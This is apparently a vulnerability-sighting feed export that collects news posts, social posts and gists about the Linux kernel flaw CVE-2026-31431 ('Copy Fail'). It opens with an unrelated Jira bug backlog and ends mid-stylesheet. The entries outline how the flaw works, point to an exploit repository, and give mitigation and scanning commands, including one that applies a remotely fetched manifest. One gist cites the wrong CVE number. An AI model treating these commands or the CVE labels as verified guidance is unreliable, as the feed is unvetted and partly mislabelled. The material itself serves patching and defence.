Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (25d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 05, 2026 at 10:29 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-05T22:29:46.000000Z"}, {"uuid": "6e700d40-a13c-4f8e-9548-e387e733ce7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3ml5cmub6ma2m", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://lobste.rs/s/cvmqdt #security #linux ", "creation_timestamp": "2026-05-05T23:10:04.693912Z"}, {"uuid": "e14cf3da-9d42-4d0c-907e-19bb4ceced91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3ml5eurlg362r", "content": "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/", "creation_timestamp": "2026-05-05T23:50:16.723849Z"}, {"uuid": "28d36022-21ed-4b66-bd3f-cae2abd7445a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/", "content": "Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions of systems. Read our analysis. The post Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years appeared first on Unit 42.", "creation_timestamp": "2026-05-05T21:00:33.000000Z"}, {"uuid": "25e338b1-1974-42c0-a918-972c1e59a7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml5liblfaq32", "content": "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions o...\n\n#High #Profile #Threats #Vulnerabilities [\u2026] \n\n[Original post on unit42.paloaltonetworks.com]", "creation_timestamp": "2026-05-06T01:48:36.613161Z"}, {"uuid": "95437b5a-99fb-4000-b519-094db6921f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ml5nsllfhs2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 561 interactions\nCVE-2026-41940: 122 interactions\nCVE-2026-3854: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41940: 40 interactions\nCVE-2026-31431: 21 interactions\nCVE-2026-23918: 12 interactions\n", "creation_timestamp": "2026-05-06T02:30:08.214164Z"}, {"uuid": "1dfa55bf-2d61-4572-9fef-f205174792e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Enkhsanaa/3dced2c7e31abcf1deac2dbb9674428c", "content": "", "creation_timestamp": "2026-05-06T03:15:36.000000Z"}, {"uuid": "c494a8c1-8093-4695-8274-4b5ed16a0836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3ml5sknsj6j2y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\n\u300cLinux\u300d\u306b\u6975\u3081\u3066\u91cd\u5927\u306a\u8106\u5f31\u6027--\u300cCopy Fail\u300d\u767a\u899a\n\n\u5370\u5237\u3059\u308b \u30e1\u30fc\u30eb\u3067\u9001\u308b \u30c6\u30ad\u30b9\u30c8 HTML \u96fb\u5b50\u66f8\u7c4d PDF \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9 \u30c6\u30ad\u30b9\u30c8 \u96fb\u5b50\u66f8\u7c4d PDF \u30af\u30ea\u30c3\u30d7\u3057\u305f\u8a18\u4e8b\u3092My\u30da\u30fc\u30b8\u304b\u3089\u8aad\u3080\u3053\u3068\u304c\u3067\u304d\u307e\u3059 \u300cCopy Fail\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u300cCVE-2026-31431\u300d\u306f\u30012017\u5e74\u304b\u3089\u6f5c\u4f0f\u3057\u3066\u3044\u305f\u300cLinux\u300d\u30ab\u30fc\u30cd\u30eb\u306e\u6df1\u523b\u306a\u8106\u5f31\uff08\u305c\u3044\u3058\u3083\u304f\uff09\u6027\u3067\u3042\u308a\u3001\u73fe\u5728\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u5927\u304d\u306a\u6ce8\u76ee\u3092\u96c6\u3081\u3066\u3044...\nhttps://japan.zdnet.com/article/35247165/", "creation_timestamp": "2026-05-06T03:55:10.303400Z"}, {"uuid": "21d70a98-aa46-4e6b-b143-b417dc725a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thecascading.bsky.social/post/3ml5spvsvdz2p", "content": "\ud83d\udd34 Kernel \u6f0f\u6d1e\u53ef\u5bfc\u81f4\u672c\u5730\u63d0\u6743\uff1b\u8bf7\u5c3d\u5feb\u4fee\u590d\u6216 mitigate\u3002\n\n- \u6f0f\u6d1e\u4e0e kernel crypto API \u76f8\u5173\u3002\u5f71\u54cd 4.14 \u8d77\u7684\u5404\u4e2a\u7248\u672c\uff0c\u4e5f\u5c31\u662f\u76ee\u524d\u5e02\u9762\u4e0a\u7edd\u5927\u591a\u6570\u6b63\u5728\u8fd0\u884c Linux \u7684\u7cfb\u7edf\u3002\n- Ubuntu 26.04 (resolute)\u3001Debian 14 (forky) \u53ca Debian Sid \u7684\u6700\u65b0\u7248\u672c\u5185\u6838\u5df2\u4fee\u590d\u6b64\u95ee\u9898\u3002\u7136\u800c\uff0c\u7edd\u5927\u591a\u6570\u53d1\u884c\u7248/\u7248\u672c\u5c1a\u672a\u6709\u4fee\u590d\u3002 [2]\n- Mitigation \u65b9\u5f0f\u662f\u7981\u7528 algif_aead \u6a21\u5757\uff1b\u9884\u8ba1\u7edd\u5927\u90e8\u5206\u8f6f\u4ef6\u4e0d\u4f1a\u56e0\u6b64\u53d7\u5230\u5e72\u6270\u3002 [1]\n\nCVE: CVE-2026-31431 ... [1/2]", "creation_timestamp": "2026-05-06T03:58:06.068971Z"}, {"uuid": "6fd05cb4-e46d-49fc-b5af-67a873914f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/winsontang.com/post/3ml5tp44i2k2u", "content": "CVE-2026-31431 highlights a critical vulnerability impacting rootless containers, exposing potential security risks. Understanding this \"copy fail\" issue is essential for maintaining robust container security. Stay informed and protect your environments! #Cybersecurity #DevOps", "creation_timestamp": "2026-05-06T04:15:32.548230Z"}, {"uuid": "d3fc1786-4296-4b03-a501-b335a93d414b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82994", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-pythonlower3.10\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OneDemobird\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 03:59:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\npython3.10\u4ee5\u4e0b\u6ca1\u6709os.splice\uff0c\u641e\u4e86\u4e00\u4e2a3.10\u4ee5\u4e0b\u7248\u672c\u4e5f\u53ef\u4ee5\u7528\u7684\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T04:00:04.000000Z"}, {"uuid": "f3f2340f-3c50-457d-8be7-b58e32f30a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml5zkkioec2x", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-06T06:00:22.308940Z"}, {"uuid": "e0e56f08-96d4-46ab-8db0-558682fe26ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "32c85257-8ab3-40b4-8d95-51ee5b7927d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml66gofldtr2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required hairydog: rmmod algif_aead 2>/dev/null || true No, that alone is not a reliable mitigation. This does no...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T07:27:45.878461Z"}, {"uuid": "55210ab0-290c-4267-9506-5de24d20b926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/adegoodyer/4ac687c6d25980f02401cab22a2f9f9e", "content": "# Copy Fail Blocker\n- [Copy Fail Blocker](#copy-fail-blocker)\n  - [Overview](#overview)\n  - [Issue](#issue)\n  - [Resources](#resources)\n  - [Check Vulnerability](#check-vulnerability)\n  - [Deploy Copy Fail Blocker Viability](#deploy-copy-fail-blocker-viability)\n  - [Deploy Copy Fail Blocker](#deploy-copy-fail-blocker)\n  - [Remove Copy Fail Blocker](#remove-copy-fail-blocker)\n\n## Overview\n- BPF-LSM mitigation for the copy fail vulnerability (CVE-2024-3174) in the Linux kernel\n- DaemonSet attaches single BPF-LSM program to the socket_create hook on every node\n- [GitHub: copy-fail-blocker](https://github.com/cozystack/copy-fail-blocker)\n\n## Issue\n- AWS haven't yet release an AMI that includes an upstream fix\n- upgrading to latest AMI version still has container version `kernel6.12-6.12.79-101.147.amzn2023` which is still vulnerable\n\n## Resources\n- [AWS Containers Roadmap](https://github.com/aws/containers-roadmap/issues/2808)\n- [ALSC Status updates](https://explore.alas.aws.amazon.com/CVE-2026-31431.html)\n\n## Check Vulnerability\n```bash\n# ssh into any EKS node\n\n# check for copy fail vulnerability\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# FAIL: AF_ALG socket created - not protected\n```\n\n## Deploy Copy Fail Blocker Viability\n```bash\n# check what BPF LSM is compiled in\ngrep CONFIG_BPF_LSM /boot/config-$(uname -r)\n# CONFIG_BPF_LSM=y\n\n# check bpf is in active LSM stack\ncat /sys/kernel/security/lsm\n# lockdown,capability,landlock,yama,safesetid,selinux,bpf,ima\n```\n\n## Deploy Copy Fail Blocker\n```bash\n# deploy copy fail blocker\nk  apply -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n\n# verify rollout\nk -n kube-system rollout status daemonset/copy-fail-blocker\n\n# verify copy fail is blocked\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# OK: [Errno 1] Operation not permitted\n```\n\n## Remove Copy Fail Blocker\n- remove once an AMI has been released with fix\n\n```bash\n# remove copy fail blocker\nk delete -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n```\n", "creation_timestamp": "2026-05-06T10:35:54.000000Z"}, {"uuid": "99c0d926-8bdd-4b90-991c-4d2dcc4cf806", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fookhwa.bsky.social/post/3ml6itwotpo2u", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431) - Help Net Security", "creation_timestamp": "2026-05-06T10:34:03.960587Z"}, {"uuid": "e1909d62-702b-471b-a29e-b4213da81ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/jpf-okteto/f82ba1e8aa47320b48288aa30a6192a9", "content": "# Copy Fail Blocker\n- [Copy Fail Blocker](#copy-fail-blocker)\n  - [Overview](#overview)\n  - [Issue](#issue)\n  - [Resources](#resources)\n  - [Check Vulnerability](#check-vulnerability)\n  - [Deploy Copy Fail Blocker Viability](#deploy-copy-fail-blocker-viability)\n  - [Deploy Copy Fail Blocker](#deploy-copy-fail-blocker)\n  - [Remove Copy Fail Blocker](#remove-copy-fail-blocker)\n\n## Overview\n- BPF-LSM mitigation for the copy fail vulnerability (CVE-2024-3174) in the Linux kernel\n- DaemonSet attaches single BPF-LSM program to the socket_create hook on every node\n- [GitHub: copy-fail-blocker](https://github.com/cozystack/copy-fail-blocker)\n\n## Issue\n- AWS haven't yet release an AMI that includes an upstream fix\n- upgrading to latest AMI version still has container version `kernel6.12-6.12.79-101.147.amzn2023` which is still vulnerable\n\n## Resources\n- [AWS Containers Roadmap](https://github.com/aws/containers-roadmap/issues/2808)\n- [ALSC Status updates](https://explore.alas.aws.amazon.com/CVE-2026-31431.html)\n\n## Check Vulnerability\n```bash\n# ssh into any EKS node\n\n# check for copy fail vulnerability\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# FAIL: AF_ALG socket created - not protected\n```\n\n## Deploy Copy Fail Blocker Viability\n```bash\n# check what BPF LSM is compiled in\ngrep CONFIG_BPF_LSM /boot/config-$(uname -r)\n# CONFIG_BPF_LSM=y\n\n# check bpf is in active LSM stack\ncat /sys/kernel/security/lsm\n# lockdown,capability,landlock,yama,safesetid,selinux,bpf,ima\n```\n\n## Deploy Copy Fail Blocker\n```bash\n# deploy copy fail blocker\nk  apply -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n\n# verify rollout\nk -n kube-system rollout status daemonset/copy-fail-blocker\n\n# verify copy fail is blocked\npython3 -c '\nimport socket\ntry:\n    socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    print(\"FAIL: AF_ALG socket created - not protected\")\nexcept OSError as e:\n    print(\"OK:\", e)'\n\n# OK: [Errno 1] Operation not permitted\n```\n\n## Remove Copy Fail Blocker\n- remove once an AMI has been released with fix\n\n```bash\n# remove copy fail blocker\nk delete -f https://raw.githubusercontent.com/cozystack/copy-fail-blocker/v0.2.1/manifests/copy-fail-blocker.yaml\n```\n", "creation_timestamp": "2026-05-06T11:19:12.000000Z"}, {"uuid": "4e572807-2624-49ad-8798-422f76f31769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml6marlb7tu2", "content": "Copy Fail (CVE-2026-31431): Patching kernels without rebooting Most kernel CVEs follow a predictable rhythm for hosting providers: read the advisory, schedule a maintenance window, reboot during of...\n\n#KernelCare #CVE #Vulnerability #Live #Patching #Kernel #Update\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T11:37:56.254037Z"}, {"uuid": "95c8731d-e711-46c3-895b-e586cc722990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ml6rh7ws2pd2", "content": "CopyFail\u2019s Silent Root Takeover: How a Nine-Year Linux Kernel Flaw Ignites Active Exploits and CISA\u2019s Urgent Patch Mandate CVE-2026-31431, the CopyFail Linux kernel flaw, enables unprivileged r...\n\n#CybersecurityUpdate #CISA #KEV #CopyFail #CVE-2026-31431 [\u2026] \n\n[Original post on webpronews.com]", "creation_timestamp": "2026-05-06T13:12:05.555336Z"}, {"uuid": "54f431dd-08a1-4748-9fb3-7d4646dab8dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/WeszNL/b7a1079b1a9973117d33b7d729638fbe", "content": "Quickly scan all ansible'd hosts for potential exposure to CVE-2026-31431 (COPY-FAIL).\n\n```bash\nansible all -i inventory -b -m shell -a \"test -d /sys/module/algif_aead && echo 'algif_aead=loaded' || echo 'algif_aead=not_loaded'; echo 'MODPROBE_CHECK:'; modprobe -n -v algif_aead 2>&1 | sed 's/^/modprobe: /'\"\n\nDoes:\n- checks if the algif_aead kernel module is currently loaded on each host\n- verifies whether the module can be loaded via modprobe (dry-run)\n- helps assess potential exposure without making changes\n\nDoes not:\n- patch anything; you need to mitigate or update kernels yourself", "creation_timestamp": "2026-05-06T14:03:16.000000Z"}, {"uuid": "bc9b1a7f-d8e6-441d-a351-07d95ba515b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lascapi.social.tchncs.de.ap.brid.gy/post/3ml6wld6itgv2", "content": "Copy Fail CVE-2026-31431\n\n> How they found it\n> Taeyang Lee's earlier kernelCTF work had mapped out the AF_ALG attack surface. He realized that AF_ALG + splice creates a path where unprivileged userspace can feed page cache pages directly into the crypto subsystem and suspected that scatterlist [\u2026]", "creation_timestamp": "2026-05-06T14:39:51.127335Z"}, {"uuid": "cc3399bc-a40f-4d21-aae5-3f61f855e049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3ml6yfwt4jj2r", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\u00a0Catalog\n\nCISA has added CVE-2026-31431, a Linux local privilege escalation bug, to the KEV catalog after signs of active exploitation.", "creation_timestamp": "2026-05-06T15:12:33.443335Z"}, {"uuid": "3420ae3a-3e8e-4479-a929-5c461ac6e2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/puntocomunica2.bsky.social/post/3ml6yhpdj322e", "content": "\ud83d\udea8 URGENTE: Vulnerabilidad del kernel \u00abCopy Fail\u00bb (CVE-2026-31431): Acci\u00f3n inmediata requerida indaga.net/urgente-vuln...", "creation_timestamp": "2026-05-06T15:13:35.009425Z"}, {"uuid": "9beea3d7-9e81-49fa-9597-7bbf4f07f06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml6yibsgk5f2", "content": "CISA alerta de explotaci\u00f3n activa de Copy Fail para obtener root en Linux CVE-2026-31431 (Copy Fail) ya se est\u00e1 explotando de forma activa para lograr root en sistemas Linux, lo que ha llevado CV...\n\n#Seguridad\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T15:16:43.427430Z"}, {"uuid": "6d204d84-d216-4694-bb6c-1b7eb2522478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/196f93bbcfa280f66e78ec302180f773", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  